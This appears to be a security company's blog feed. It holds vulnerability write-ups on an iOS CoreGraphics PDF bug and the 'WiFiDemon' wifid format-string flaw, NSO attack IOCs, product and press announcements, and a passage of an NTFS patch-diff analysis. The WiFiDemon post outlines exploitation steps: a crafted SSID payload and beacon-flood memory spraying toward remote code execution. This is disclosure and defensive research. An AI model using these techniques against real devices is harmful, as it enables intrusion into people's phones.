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The Recent iOS 0-Click, CVE-2021-30860, Sounds Familiar. An Unreleased Write-up: One Year Later

14 September 2021 at 19:11
The Recent iOS 0-Click, CVE-2021-30860, Sounds Familiar. An Unreleased Write-up: One Year Later


ZecOps identified and reproduced an Out-Of-Bounds Write vulnerability that can be triggered by opening a malformed PDF. This vulnerability reminded us of the FORCEDENTRY vulnerability exploited by NSO/Pegasus according to the CitizenLabs blog.

As a brief background: ZecOps have analyzed several devices of Al-Jazeera journalists in the summer 2020 and automatically and successfully found compromised devices without relying on any IOC. These attacks were later attributed to NSO / Pegasus.
ZecOps Mobile EDR and Mobile XDR are available here.

Noteworthy, although these two vulnerabilities are different – they are close enough and worth a deeper read.


  • We reported this vulnerability on September 1st, 2020 – iOS 14 beta was vulnerable at the time.
  • The vulnerability was patched on September 14th, 2020 – iOS 14 beta release.
  • Apple contacted us on October 20, 2020 – claiming that the bug was already fixed – (“We were unable to reproduce this issue using any current version of iOS 14. Are you able to reproduce this issue using any version of iOS 14? If so, we would appreciate any additional information you can provide us, such as an updated proof-of-concept.”).
    No CVE was assigned.

It is possible that NSO noticed this incremental bug fix, and dived deeper into CoreGraphics.

The Background

Earlier last year, we obtained a PDF file that cannot be previewed on iOS. The PDF sample crashes previewUI with segmentation fault, meaning that a memory corruption was triggered by the PDF.

Open the PDF previewUI flashes and shows nothing:

The important question is: how do we find out the source of the memory corruption?

The MacOS preview works fine, no crash. Meaning that it’s the iOS library that might have an issue. We confirmed the assumption with the iPhone Simulator, since the crash happened on the iPhone Simulator.

It’s great news since Simulator on MacOS provides better debug tools than iOS. However, having debug capability is not enough since the process crashes only when the corrupted memory is being used, which is AFTER the actual memory corruption.

We need to find a way to trigger the crash right at the point the memory corruption happens.

The idea is to leverage Guard Malloc or Valgrind, making the process crash right at the memory corruption occurs.

“Guard Malloc is a special version of the malloc library that replaces the standard library during debugging. Guard Malloc uses several techniques to try and crash your application at the specific point where a memory error occurs. For example, it places separate memory allocations on different virtual memory pages and then deletes the entire page when the memory is freed. Subsequent attempts to access the deallocated memory cause an immediate memory exception rather than a blind access into memory that might now hold other data.”

Environment Variables Injection

In this case we cannot simply add an environment variable with the command line since the previewUI launches on clicking the PDF which does not launch from the terminal, we need to inject libgmalloc before the launch.

The process “launchd_sim” launches Simulator XPC services with a trampoline process called “xpcproxy_sim”. The “xpcproxy_sim” launches target processes with a posix_spawn system call, which gives us an opportunity to inject environment variables into the target process, in this case “com.apple.quicklook.extension.previewUI”.

The following lldb command “process attach –name xpcproxy_sim –waitfor” allows us to attach xpcproxy_sim then set a breakpoint on posix_spawn once it’s launched.

Once the posix_spawn breakpoint is hit, we are able to read the original environment variables by reading the address stored in the $r9 register.

By a few simple lldb expressions, we are able to overwrite one of the environment variables into “DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib”, injection complete.

Continuing execution, the process crashed almost right away.

Analyzing the Crash

Finally we got the Malloc Guard working as expected, the previewUI crashes right at the memmove function that triggers the memory corruption.

After libgmalloc injection we have the following backtrace that shows an Out-Of-Bounds write occurs in “CGDataProviderDirectGetBytesAtPositionInternal”.

Thread 3 Crashed:: Dispatch queue: PDFKit.PDFTilePool.workQueue
0   libsystem_platform.dylib      	0x0000000106afc867 _platform_memmove$VARIANT$Nehalem + 71
1   com.apple.CoreGraphics        	0x0000000101b44a98 CGDataProviderDirectGetBytesAtPositionInternal + 179
2   com.apple.CoreGraphics        	0x0000000101d125ab provider_for_destination_get_bytes_at_position_inner + 562
3   com.apple.CoreGraphics        	0x0000000101b44b09 CGDataProviderDirectGetBytesAtPositionInternal + 292
4   com.apple.CoreGraphics        	0x0000000101c6c60c provider_with_softmask_get_bytes_at_position_inner + 611
5   com.apple.CoreGraphics        	0x0000000101b44b09 CGDataProviderDirectGetBytesAtPositionInternal + 292
6   com.apple.CoreGraphics        	0x0000000101dad19a get_chunks_direct + 242
7   com.apple.CoreGraphics        	0x0000000101c58875 img_raw_read + 1470
8   com.apple.CoreGraphics        	0x0000000101c65611 img_data_lock + 10985
9   com.apple.CoreGraphics        	0x0000000101c6102f CGSImageDataLock + 1674
10  com.apple.CoreGraphics        	0x0000000101a2479e ripc_AcquireRIPImageData + 875
11  com.apple.CoreGraphics        	0x0000000101c8399d ripc_DrawImage + 2237
12  com.apple.CoreGraphics        	0x0000000101c68d6f CGContextDrawImageWithOptions + 1112
13  com.apple.CoreGraphics        	0x0000000101ab7c94 CGPDFDrawingContextDrawImage + 752

With the same method, we can take one step further, with the MallocStackLogging flag libgmalloc provides, we can track the function call stack at the time of each allocation.

After setting the “MallocStackLoggingNoCompact=1”, we got the following backtrace showing that the allocation was inside CGDataProviderCreateWithSoftMaskAndMatte.

ALLOC 0x6000ec9f9ff0-0x6000ec9f9fff [size=16]:
0x7fff51c07b77 (libsystem_pthread.dylib) start_wqthread |
0x7fff51c08a3d (libsystem_pthread.dylib) _pthread_wqthread |
0x7fff519f40c4 (libdispatch.dylib) _dispatch_workloop_worker_thread |
0x7fff519ea044 (libdispatch.dylib) _dispatch_lane_invoke |
0x7fff519e9753 (libdispatch.dylib) _dispatch_lane_serial_drain |
0x7fff519e38cb (libdispatch.dylib) _dispatch_client_callout |
0x7fff519e2951 (libdispatch.dylib) _dispatch_call_block_and_release |
0x7fff2a9df04d (com.apple.PDFKit) __71-[PDFPageBackgroundManager forceUpdateActivePageIndex:withMaxDuration:]_block_invoke |
0x7fff2a9dfe76 (com.apple.PDFKit) -[PDFPageBackgroundManager _drawPageImage:forQuality:] |
0x7fff2aa23b85 (com.apple.PDFKit) -[PDFPage imageOfSize:forBox:withOptions:] |
0x7fff2aa23e1e (com.apple.PDFKit) -[PDFPage _newCGImageWithBox:bitmapSize:scale:offset:backgroundColor:withRotation:withAntialiasing:withAnnotations:withBookmark:withDelegate:] |
0x7fff2aa22a40 (com.apple.PDFKit) -[PDFPage _drawWithBox:inContext:withRotation:isThumbnail:withAnnotations:withBookmark:withDelegate:] |
0x7fff240bdfe0 (com.apple.CoreGraphics) CGContextDrawPDFPage |
0x7fff240bdac4 (com.apple.CoreGraphics) CGContextDrawPDFPageWithDrawingCallbacks |
0x7fff244bb0b1 (com.apple.CoreGraphics) CGPDFScannerScan | 0x7fff244bab02 (com.apple.CoreGraphics) pdf_scanner_handle_xname |
0x7fff2421e73c (com.apple.CoreGraphics) op_Do |
0x7fff2414dc94 (com.apple.CoreGraphics) CGPDFDrawingContextDrawImage |
0x7fff242fed6f (com.apple.CoreGraphics) CGContextDrawImageWithOptions |
0x7fff2431999d (com.apple.CoreGraphics) ripc_DrawImage |
0x7fff240ba79e (com.apple.CoreGraphics) ripc_AcquireRIPImageData |
0x7fff242f6fe8 (com.apple.CoreGraphics) CGSImageDataLock |
0x7fff242f758b (com.apple.CoreGraphics) img_image |
0x7fff24301fe2 (com.apple.CoreGraphics) CGDataProviderCreateWithSoftMaskAndMatte |
0x7fff51bddad8 (libsystem_malloc.dylib) calloc |
0x7fff51bdd426 (libsystem_malloc.dylib) malloc_zone_calloc 

The Vulnerability

The OOB-Write vulnerability happens in the function “CGDataProviderDirectGetBytesAtPositionInternal” of CoreGraphics library, the allocation of the target memory was inside the function “CGDataProviderCreateWithSoftMaskAndMatte“.

It allocates 16 bytes of memory if the “bits_per_pixel” equals or less than 1 byte, which is less than copy length.

We came out with a minimum PoC and reported to Apple on September 1st 2020, the issue was fixed on the iOS 14 release. We will release this POC soon.

ZecOps Mobile EDR & Mobile XDR customers are protected against NSO and are well equipped to discover other sophisticated attacks including 0-days attacks.

NSO Exploits Still Remain Mysterious: ZecOps Can Help You Fight Back

19 July 2021 at 09:57
NSO Exploits Still Remain Mysterious: ZecOps Can Help You Fight Back

This weekend, the Guardian released a groundbreaking report that authoritarian governments have breached the mobile devices of human rights activists, journalists, and lawyers across the world, using a hacking software sold by NSO Group.

While the Guardian report contained new information regarding the targets of NSO customers and the Pegasus spyware, the specific mobile vulnerabilities that NSO leveraged were not identified and remain unpatched. This means that despite the public attribution, NSO tools remain just as powerful today as they were prior to the report.

Fight Back with ZecOps!

ZecOps suspects that NSO will quickly alter its methods so that the specific IOCs, or indicators of compromise, will be difficult to identify by mobile security researchers. However, with our Mobile EDR product, we can help your organization identify NSO attacks automatically by focusing on the behavior that remains present in the logs in addition to the publically known IOCs.

Note: ZecOps does not collect or access your personal information. ZecOps will only collect information required for mobile security investigations, leaving personal information out.

Inspecting Your Phone – Free Inspection by ZecOps

To help discover these attacks, ZecOps is offering, for a limited time, free mobile inspections to businesses that were targeted by the NSO. Please fill out the form below, and a member of our team will be in touch with you.

We got your request.
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Threat Actors are Working Together. Defenders Should Collaborate Too!

17 July 2021 at 20:14
Threat Actors are Working Together. Defenders Should Collaborate Too!

We previously published that we suspected that there were more than one threat actor targeting the Al-Jazeera journalists.


ZecOps discovered NSO attacks that targeted Al-Jazeera automatically using ZecOps Mobile EDR & DFIR solutions. Our initial analysis suggested that the footprint does not belong only to NSO.

ZecOps Mobile Threat Intelligence Brief

ZecOps can now confirm, with high-confidence, that the attacks targeting journalists in Middle East were caused by at least two commercial threat actors working together, and the attack launched by a nation-state that purchased NSO’s exploit-platform. 

This may sound like a minor detail, but every detail in attribution is crucial.


In the last transparency report by NSO, they published that they limit the usage.

NSO published limit

This can be translated into “We have a license based attack-as-a-service model. We only sell a certain amount of attack licenses to a certain buyer.”. While this intelligence is not fully confirmed, and should be taken with a grain of salt, our intelligence also suggests that “Desert Cobra” (state actor) purchased an ‘unlimited number of licenses’ package to carry out attacks using NSO’s software.

NSO acquired exploits from another supplier and leveraged the borrowed exploit in the attack launched by the end-buyer (Desert Cobrat) against Al-Jazeera journalists. It is unclear if the  end-customer, a government, was aware that parts of the exploit chain were obtained from another threat-actor and sold as a package.

Bottom line

As threat actors working together, defenders should be working together too. We hope that the vendors reading this will enable SOCs around the world with better access in-order to find and capture payloads by threat actors like NSO, that will always find a way, or as we can see in this post “buy their way”, to bypass all the existing mitigations and security controls.

ZecOps Mobile EDR Customers: no further action is required. ZecOps discovered the Al-Jazeera attack, and other NSO related incidents automatically. The deployed systems detect these activities. The complete report and full IOC list is available in ZecOps Mobile Threat Intelligence feed.

Al Jazeera NSO Attack IOCs:

  • /private/var/tmp/uevkjdwxijvah/c
  • /private/var/db/com.apple.xpc.roleaccountd.staging/launchafd
  • /private/var/db/com.apple.xpc.roleaccountd.staging/rs
  • /private/var/db/com.apple.xpc.roleaccountd.staging/natgd

Unfortunately, due to iOS sandbox restrictions, it is not trivial to check for these IOCs. If you would like to check your phone for these IOCs, other attacks by NSO, or other threat actors, please feel free to contact us here.

Free Mobile Inspection

To help discover these attacks, for a limited time, ZecOps is offering free mobile inspections to businesses that were targeted in the NSO leak. For your instant inspection, fill out the form below.

We got your request.
Please make sure that you have filled in all the fields.

Meet WiFiDemon – iOS WiFi RCE 0-Day Vulnerability, and a Zero-Click Vulnerability That Was Silently Patched

17 July 2021 at 13:30
Meet WiFiDemon – iOS WiFi RCE 0-Day Vulnerability, and a Zero-Click Vulnerability That Was Silently Patched

The TL;DR Version:

ZecOps Mobile EDR Research team investigated if the recently announced WiFi format-string bug in wifid was exploited in the wild. 

This research led us to interesting discoveries:

  • Recently a silently patched 0-click WiFi proximity vulnerability on iOS 14 – iOS 14.4 without any assigned CVE
  • That the publicly announced WiFi Denial of Service (DoS) bug, which is currently a 0day, is more than just a DoS and actually a RCE!
  • Analysis if any of the two bugs were exploited across our cloud user-base.


There’s a new WiFi vulnerability in-town. You probably already saw it, but didn’t realize the implication. The recently disclosed ‘non-dangerous’ WiFi bug – is potent.

This vulnerability allows an attacker to infect a phone/tablet without *any* interaction with an attacker. This type of attack is known as “0-click” (or “zero-click”). The vulnerability was only partially patched.

1. Prerequisites to the WiFiDemon 0-Click Attack:

  • Requires the WiFi to be open with Auto-Join (enabled by default)
  • Vulnerable iOS Version for 0-click: Since iOS 14.0
  • The 0-Click vulnerability was patched on iOS 14.4


  • Update to the latest version, 14.6 at the time of writing to avoid risk of WiFiDemon in its 0-click form. 
  • Consider disabling WiFi Auto-Join Feature via Settings->WiFi->Auto-Join Hotspot->Never.
  • Perform risk and compromise assessment to your mobile/tablet security using ZecOps Mobile EDR in case you suspect that you were targeted.

2. Prerequisites to the WiFi 0Day Format Strings Attack:

Unlike initial research publications, at the time of writing, the WiFi Format Strings seem to be a Remote Code Execution (RCE) when joining a malicious SSID. 


  • Do not join unknown WiFis.
  • Consider disabling WiFi Auto-Join Feature via Settings->WiFi->Auto-Join Hotspot->Never.
  • Perform risk and compromise assessment to your mobile/tablet security using ZecOps Mobile EDR in case you suspect that you were targeted.
  • This vulnerability is still a 0day at the time of writing, July 4th. iOS 14.6 is VULNERABLE when connecting to a specially crafted SSID. 
  • Wait for an official update by Apple and apply it as soon as possible.

Wi-Fi-Demon ?

wifid is a system daemon that handles protocol associated with WIFI connection. Wifid runs as root. Most of the handling functions are defined in the CoreWiFi framework, and these services are not accessible from within the sandbox. wifid is a sensitive daemon that may lead to whole system compromise.

Lately, researcher Carl Schou (@vm_call) discovered that wifid has a format string problem when handling SSID.


The original tweet suggests that this wifid bug could permanently disable iPhone’s WiFi functionality, as well as the Hotspot feature. This “WiFi” Denial of Service (DoS) is happening since wifid writes known wifi SSID into the following three files on the disk:

  • /var/preferences/com.apple.wifi.known-networks.plist
  • /var/preferences/SystemConfiguration/com.apple.wifi-networks.plist.backup
  • /var/preferences/SystemConfiguration/com.apple.wifi-private-mac-networks.plist

Every time that wifid respawns, it reads the bad SSID from a file and crashes again. Even a reboot cannot fix this issue.

However, this bug can be “fixed” by taking the following steps according to Forbes:

“The fix is simple: Simply reset your network settings by going to Settings > General > Reset > Reset Network Settings.”

This bug currently affects the latest iOS 14.6, and Apple has not yet released any fixes for this bug.

Further Analysis Claims: This is Only a Denial of Service

Followed by another researcher Zhi @CodeColorist published a quick analysis.


His conclusion was:

“For the exploitability, it doesn’t echo and the rest of the parameters don’t seem like to be controllable. Thus I don’t think this case is exploitable.

After all, to trigger this bug, you need to connect to that WiFi, where the SSID is visible to the victim. A phishing Wi-Fi portal page might as well be more effective.”

The Plot Thickens

We checked ZecOps Mobile Threat Intelligence to see if this bug was exploited in the past. We noticed that two of our EMEA users had an event related to this bug. Noteworthy, we only have access to our cloud data, and couldn’t check other on-premises clients – so we might be missing other events.

We asked ourselves: 

  1. Why would a person aware of dangerous threats connect to a network with such an odd name “%s%s…”. – Unlikely.
  2. Why would an attacker bring a tactical team to target a VIP, only to cause DoS – It still does not make sense.

Remotely exploitable, 0-click, under the hood!

Further analysis revealed that:

  1. Attackers did not need to force the user to connect. This vulnerability could be launched as a 0click, without any user interaction. A victim only needed to have your WiFi turned on to trigger the vulnerable code.
  2. This is not a DoS, but an actual RCE vulnerability for both the recently patched 0-click format-strings vulnerability, and the malicious SSID format-strings 0-day vulnerability.

This 0-click bug was patched on iOS 14.4 and credits “an anonymous researcher” for assisting. Although this is a potent 0-click bug, a CVE was not assigned.

Technical Details: Analysis of a Zero-Click WiFi Vulnerability – WiFiDemon

Let’s do a deeper dive into the technical details behind this vulnerability:

Considering the possible impact of triggering this vulnerability as a 0-click, as well as the potential RCE implications, we investigated the wifid vulnerability in depth.

When we tested this format-strings bug on an older version, similar to our clients, we noticed that wifid has intriguing logs when it is not connected to any wifi.

These logs contain SSID, which indicates that it may be affected by the same format string bug. 

We tested it and Voilà, it is affected by the same format string bug – meaning that this is a zero-click vulnerability and can be triggered without an end-user connecting to a strange named wifi.

This log is related to a common smart device behavior: Automatically scan and join known networks.

Zero-Click – Even When The Screen is Off

The iPhone scans WiFi to join every ~3 seconds while the user is actively using the phone. Furthermore, even if the user’s phone screen has been turned off, it still scans for WiFi but at a relatively lower frequency. The waiting time for the following scan will be longer and longer, from ~10 seconds to 1+ minute

As long as the WiFi is turned on this vulnerability can be triggered. If the user is connected to an existing WiFi network, an attacker can launch another attack to disconnect/de-associate the device and then launch this 0-click attack. Disconnecting a device from a WiFi is well-documented and we’ll not cover it as part of the scope for this blog.

This 0-click vulnerability is powerful: if the malicious access point has password protection and the user never joins the wifi, nothing will be saved to the disk. After turning off the malicious access point, the user’s WIFI function will be normal. A user could hardly notice if they have been attacked.

Exploiting this Vulnerability

We further analyzed whether this vulnerability can be exploited, and how:

This post assumes that the reader is aware of the concept of format-string bugs and how to exploit them. However, this bug is slightly different from the “traditional” printf format string bugs because it uses [NSString stringWithFormat:] which was implemented by Apple, and Apple removed the support for %n for security reasons. That’s how an attacker would have been able to write to the memory in an exploitation of a traditional format string bug.

Where You AT? – %@ Is Handy!

Since we cannot use %n, we looked for another way to exploit this 0-click N-Day, as well as the 1-click 0-day wifid bug. Another possible use is %@, which is uniquely used by Objective-C.

Since the SSID length is limited to 32 bytes, we can only put up to 16 Escape characters in a single SSID. Then the Escape characters we placed will process the corresponding data on the stack.

A potential exploit opportunity is if we can find an object that has been released on the stack, in that case, we can find a spray method to control the content of that memory and then use %@ to treat it as an Objective-C object, like a typical Use-After-Free that could lead to code execution.

Step 1: Find Possible Spraying Opportunities on the Stack

First, we need to design an automatic method to detect whether it is possible to tweak the data on the stack. lldb breakpoint handling script perfectly fits that purpose. Set a breakpoint right before the format string bug and link to a lldb script that will automatically scan and observe changes in the stack.

Step 2: Find an Efficient Spraying Method

Then we need a spray method that can interfere with wifid’s memory over the air. 

An interesting strategy is called Beacon Flooding Attack. It broadcasts countless Beacon frames and results in many access points appearing on the victim’s device.

To perform a beacon flooding attack, you need a wireless Dongle that costs around $10 and a Linux VM. Install the corresponding dongle firmware and a tool called mdk3. For details, please refer to this article.

As part of the beacon frame mandatory field, SSID can store a string of up to 32 bytes. wifid assigns a string object for each detected SSID. You can observe that from the log. This is the most obvious thing we can use for spray.

Now attach a debugger to wifid and start flooding the device with a list of SSIDs that can be easily recognized. Turn on the iOS wifi feature and wait until it begins automatically scanning for available WiFi. The breakpoint will get triggered and check through the stack to find traces of spray. Below is the output of the lldb script:

The thing that caught our eye is the pointer stored at stack + offset 0x18. Since the SSID can store up to 32 bytes, the shortest format string escape character such as %x will occupy two bytes, which means that we can reach the range of 16 pointers stored on the stack with a single SSID at most. So stack + offset 0x18 could be reached by the fourth escape character. And the test results tell us that data at this offset could be controlled by the content we spray.

Step 3 – Test the Ability to Remotely Control the Code Execution Flow

So in the next test, we kept the Beacon Flooding Attack running, meanwhile we built a hotspot named “DDDD%x%x%x%@”. Notice that %@ is the fourth escape character. Unsurprisingly, wifid crashes as soon as it reads the name, and it automatically respawns and crashes again as long as the hotspot is still on.

Checking the crash, it appears that the x15 register is easily affected.

Now analyze where it crashed. As the effect of %@ format specifier, it’s trying to print Objective-C Object.

The code block highlighted in yellow is the desired code execution flow. x0 is the pointer stored at stack + offset 0x18. We try to control its content through the spray and lead the situation to the typical Use-After-Free scenario. x9 is the data x0 points to. It represents isa pointer, which is the first member of the objc object data structure. As you can see in the figure, control x9 is critical to reaching that objc_msgSend call at the bottom. With more tests, we confirmed that stack + offset 0x18 indeed can be affected by the spray.

Now things have become more familiar. Pass a controlled/fake Objc object to objc_msgSend to achieve arbitrary code execution. The next challenge is finding a way to spray memory filled with ROP/JOP payload.

Step 4 – Achieving Remote Code Execution

wifid deals with a lot of wireless features. Spraying large memory wirelessly is left as an exercise for the reader. Locally, this bug can be used to build a partial sandbox escape to help achieve jailbreaking.


Ironically, the events that triggered our interest in this vulnerability were not related to an attack and the two devices were only subject to a denial of service issue that was fixed on iOS 14.6.

However, since this vulnerability was widely published, and relatively easy to notice, we are highly confident that various threat actors have discovered the same information we did, and we would like to encourage an issuance of a patch as soon as possible.

ZecOps Mobile EDR Customers will identify attacks leveraging these vulnerabilities with the tag “WiFiDemon”.

Generating an Alert Using ZecOps Mobile EDR

We have added generic rules for detection of successful exploitation to our customers.

We also provided instructions to customers on how to create a rule to see failed spraying / ASLR bypass attempts.

To summarize:

  • A related vulnerability was exploitable as a 0-click until iOS 14.4. CVE was not assigned and the vulnerability was silently patched. The patch thanks an anonymous researcher.
  • The publicly announced WiFi vulnerability is exploitable on 14.6 when connecting a maliciously crafted SSID.
  • We highly recommend issuing a patch for this vulnerability.
  • Older devices: e.g. iPhone 5s are still on iOS 12.X which is not vulnerable to the 0-click vulnerability.

If you’d like to check your phone and monitor it – feel free to reach out to us here to discuss how we can help you increase your mobile visibility using ZecOps Mobile EDR.

We would like to thank @8tc3wbb (follow), @ihackbanme (follow) and SYMaster for assisting with this blog.

iOS 14.7 fix

The fix on iOS 14.7 is as follows, it’s pretty straightforward, adding “%s” as format-string and the SSID included string as a parameter solves the issue.

New “Always-on” Application for MacOS (April updates)

22 April 2021 at 08:27
New “Always-on” Application for MacOS (April updates)

As cyberattacks targeting mobile devices are on the rise, we continue to see massive adoption from both the private and public sectors. We are really excited to share two new features which will dramatically improve the ZecOps experience! 

New “Always-on” Application for MacOS

ZecOps is making it even easier for users to perform complex investigations of their mobile devices. Now, users can inspect their mobile devices automatically each time the phone is connected to their laptop. ZecOps for Mobile supports both iOS and Android.

Send an inspection link to a customer or colleague

ZecOps administrators now have the ability to generate a unique link to download the ZecOps Collector App from the ZecOps Dashboard. The link can then be shared with the person/group whose device you wish to inspect via email, text, or Slack.

The Collector App can be downloaded on any laptop. This feature is ideal for incident responders, managed service providers, and SOC operators.

Learn more about ZecOps Mobile EDR

Introducing ZecOps Anti-Phishing Extension

8 April 2021 at 10:10
Introducing ZecOps Anti-Phishing Extension

Phishing is a common social engineering attack that is used by scammers to steal personal information, including authentication credentials and credit card numbers. Being well known for more than 30 years, phishing is still the most common attack performed by cyber-criminals. There have been several attempts at combating phishing attacks, but no attempt has been able to successfully eliminate the problem.

One of the most common attack scenarios involves the attacker sending an email or a text message to the victim. The message, pretending to be from a trustworthy entity, links to a fake website which visually matches a legitimate site. Nowadays, most browsers include limited protection to phishing, relying on a list of known phishing domains. While such protection has value, it’s still easy to bypass.

To help combat phishing attacks, we developed a browser extension that takes a different approach. Instead of trying to determine whether a visited website is a fake website used for phishing, we augment the website with additional visual information, allowing the user to make an informed decision. The user can take into account context that the browser has no way of knowing, such as the origin of the link and the sensitivity of the information about to be entered.

The website identity

One of the most common types of phishing is tricking the user into entering credentials into a fake website. The traditional way of avoiding such phishing is to check the address bar and verify that the address matches the expected, legitimate website. Such a check requires some discipline, and is easy to miss amid a busy day.

The main goal of ZecOps Anti-Phishing Extension is to make it easy to determine the identity of a website, having a visual indication that is difficult to miss.

Take a look at the following example:

Visiting a phishing website without and with the extension
Visiting a phishing website without and with the extension

In this example, the victim navigated to a fake website pretending to be paypal.com. Without the extension (left part of the image), the only difference compared to the real website is a single character in the address bar (1 instead of l in “paypal”). With the extension, the victim gets critical information just before entering his credentials:

  • The website is visited for the first time. For a website such as PayPal, which the victim probably visited multiple times before, this is a red flag.
  • The domain name is very similar to another, well known domain name. In this case, the extension is able to recognize that “paypa1.com” is visually similar to “paypal.com”, making the phishing attempt obvious.
  • The elephant image is the visual identity of the website that the extension generated for paypa1.com, which is most likely to be different from the visual identity of paypal.com. If the victim signs into paypal.com often, he might notice that the image changed and that something is wrong. Users won’t be able to remember all images for all websites, but that’s another measure of caution that can prevent a successful attack, and is more effective for websites that are visited more often.

Misleading links

Another common phishing technique involves sending a message with a link that looks legit, but leads to a different website that is controlled by the attacker. ZecOps Anti-Phishing Extension detects such links and displays a warning message:

A warning about a misleading link
A warning about a misleading link

A word about privacy

We care about our users’ privacy, and so the extension doesn’t send any information back to us. We don’t collect the websites you visit, the messages you see, or anything at all. The only data we collect is through our phishing reporting form that you can voluntarily submit.

Installing the extension

You can get the extension in the extension store for your browser:

Source code

The source code of the extension can be found on GitHub:

Other ZecOps Projects

We created this project as a community project. If you’d like to learn about the other initiatives we have at ZecOps, we invite you to learn more about ZecOps Mobile EDR / DFIR solutions here.

ZecOps Announces The Formation of Defense Advisory Board and Appoints Former Commander of Unit 8200 Ehud Scneorson as Chairman

6 April 2021 at 13:45
ZecOps Announces The Formation of Defense Advisory Board and Appoints Former Commander of Unit 8200 Ehud Scneorson as Chairman

Ehud Schneourson to provide cyberdefense expertise and tactical guidance to burgeoning mobile security startup, with additional appointments to be announced in the coming months

SAN FRANCISCO, April 1st, 2021 — ZecOps, the world’s most powerful platform to discover and analyze mobile cyber attacks, announced the formation of its international Defense Advisory Board. Ehud Schneourson, (ret.) Brigadier General and commander of Israel’s elite Unit 8200, was appointed as Chairman.

“It takes a submarine to discover other submarines, and ZecOps is the submarine we were all waiting for in the mobile security space.” said Ehud Schneourson. “Attackers used to care only about Google and Apple, but ZecOps created an entire category of problems for attackers. I’m thrilled to partner with ZecOps in their mission to protect our most sensitive assets, our mobile devices.”

“ZecOps is a true mobile EDR that is technically non-existent in the market today”, Schneourson summarized.

ZecOps’ success in the public and private sectors has been bolstered by the discovery of several advanced attacks. These include a “0-click” vulnerability on the default iOS Mail app, attacks on journalists in the Middle East, and others. 

ZecOps estimates that there are hundreds of sophisticated organizations targeting mobile devices, many of whom sell their exploits on the black market. This claim is supported by ZecOps Mobile Threat Intelligence, which has shown a rapid increase in the number of mobile cyberattacks in the past year.

“The number of attacks that we have discovered on mobile devices is mind blowing. I can’t wait to see what else we’ll discover in the years to come,” said Zuk Avraham, co-founder and CEO of ZecOps. “Mobile devices have become our ‘single factor of authentication’, and the most desirable target for attackers. Our Defense Advisory Board understands and appreciates the creativity needed to establish proper mobile cyberdefense. I’m thrilled to bring Ehud onboard, and am excited to partner with him and the world’s defense leaders”.

About ZecOps:

ZecOps develops the world’s most powerful platform to discover and analyze mobile cyber attacks. Used by world-leading governments, enterprises, and individuals globally, ZecOps Mobile EDR provides a realistic and scalable approach to mobile threat hunting. ZecOps enables automated discovery of 0-day attacks and Advanced Persistent Threats (APTs), delivering anti cyber-espionage capabilities within minutes. Headquartered in San Francisco, ZecOps was co-founded by Zuk Avraham, a security researcher and serial entrepreneur who previously founded Zimperium.  

For more information: https://www.zecops.com 

Follow ZecOps: LinkedIn | Twitter | Facebook

ZecOps Media Contact:

[email protected]

ZecOps Selected to Fast Company’s Most Innovative Companies for 2021

9 March 2021 at 19:05
ZecOps Selected to Fast Company’s Most Innovative Companies for 2021

The mobile security startup is among the top-ranked companies in the Security category

ZecOps, the automated platform for discovering mobile cyber threats has been named to Fast Company’s prestigious annual list of the World’s Most Innovative Companies for 2021. The Fast Company list honors businesses that have demonstrated the unique ability to service customers in rapidly evolving industries, like cybersecurity, with new and novel approaches.

“This is a major milestone for ZecOps, and confirms what our customers already know – that ZecOps mobile threat discovery is the most efficient way to evaluate the integrity of smartphones,” said Zuk Avraham, Co-Founder & CEO of ZecOps. “We’re grateful to Fast Company for acknowledging our innovative approach to discovering sophisticated attacks on mobile devices.”

ZecOps has seen tremendous customer growth in 2020, a time during which the company discovered several highly publicized vulnerabilities. These include a “0-click” vulnerability on the default iOS Mail app, attacks on journalists in the Middle East, and others. ZecOps is used by world-leaders, governments, leading enterprises, and targeted individuals concerned with discovering cyberattacks on mobile devices and performing threat hunting.

“In a year of unprecedented challenges, the companies on this list exhibit fearlessness, ingenuity, and creativity in the face of crisis,” said Fast Company Deputy Editor David Lidsky, who oversaw the issue with Senior Editor Amy Farley.


ZecOps is the world’s most powerful platform to discover and analyze mobile cyber attacks. Used by governments, enterprises, and individuals worldwide, ZecOps provides a realistic and scalable approach to mobile threat hunting. ZecOps enables automated discovery of 0-day attacks and Advanced Persistent Threats (APTs), delivering anti- cyber espionage analysis within minutes. Headquartered in San Francisco, ZecOps was co-founded by Zuk Avraham, a security researcher and serial entrepreneur who previously founded Zimperium. 


Fast Company is the only media brand fully dedicated to the vital intersection of business, innovation, and design, engaging the most influential leaders, companies, and thinkers on the future of business. The editor-in-chief is Stephanie Mehta. Headquartered in New York City, Fast Company is published by Mansueto Ventures LLC, along with our sister publication Inc., and can be found online at www.fastcompany.com.

Media inquiries
[email protected]

North Korea APT Might Have Used a Mobile 0day Too?

26 January 2021 at 17:37
North Korea APT Might Have Used a Mobile 0day Too?

Following Google TAG announcement that a few profiles on twitter, were part of an APT campaign targeting security Researchers. According to Google TAG, these threat actors are North Koreans and they had multiple goals of establishing credibility by publishing a well thought of blog posts as well as interacting with researchers via Direct Messages and lure them to download and run an infected Visual Studio project.


Some of the fake profiles were: @z0x55g, @james0x40, @br0vvnn, @BrownSec3Labs

Using a Chrome 0day to infect clients?

In their post, Google TAG, mentioned that the attackers were able to pop a fully patched Windows box running Chrome. 

From Google’s post:

In addition to targeting users via social engineering, we have also observed several cases where researchers have been compromised after visiting the actors’ blog. In each of these cases, the researchers have followed a link on Twitter to a write-up hosted on blog.br0vvnn[.]io, and shortly thereafter, a malicious service was installed on the researcher’s system and an in-memory backdoor would begin beaconing to an actor-owned command and control server. At the time of these visits, the victim systems were running fully patched and up-to-date Windows 10 and Chrome browser versions.

Attacking Mobile Users?

According to ZecOps Mobile Threat Intelligence, the same threat actor might have used an Android 0day too.

If you entered this blog from your Android or iOS devices – we would like to examine your device using ZecOps Mobile DFIR tool to gather additional evidence.
Please contact us as soon as convenient at [email protected]


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NTFS Remote Code Execution (CVE-2020-17096) Analysis

5 January 2021 at 19:14
NTFS Remote Code Execution (CVE-2020-17096) Analysis

This is an analysis of the CVE-2020-17096 vulnerability published by Microsoft on December 12, 2020. The remote code execution vulnerability assessed with Exploitation: “More Likely”,  grabbed our attention among the last Patch Tuesday fixes.

Diffing ntfs.sys

Comparing the patched driver to the unpatched version with BinDiff, we saw that there’s only one changed function, NtfsOffloadRead.

Diffing ntfs sys

The function is rather big, and from a careful comparison of the two driver versions, the only changed code is located at the very beginning of the function:

BinDiff - NtfsOffloadRead
uint NtfsOffloadRead(PIRP_CONTEXT IrpContext, PIRP Irp)
  PVOID decoded = NtfsDecodeFileObjectForRead(...);
  if (!decoded) {
